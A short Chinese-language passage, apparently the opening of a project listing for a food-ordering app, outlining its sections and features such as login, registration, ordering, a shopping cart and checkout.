目录 项目介绍 图片展示 运行环境 获取方式 项目介绍 能够实现登录&#xff0c;注册、首页、订餐、购物车&#xff0c;我的。 用户注册后&#xff0c;登陆客户端即可完成订餐、浏览菜谱等功能&#xff0c;点餐&#xff0c;加入购物车&#xff0c;结算&#xff0c;以及删减…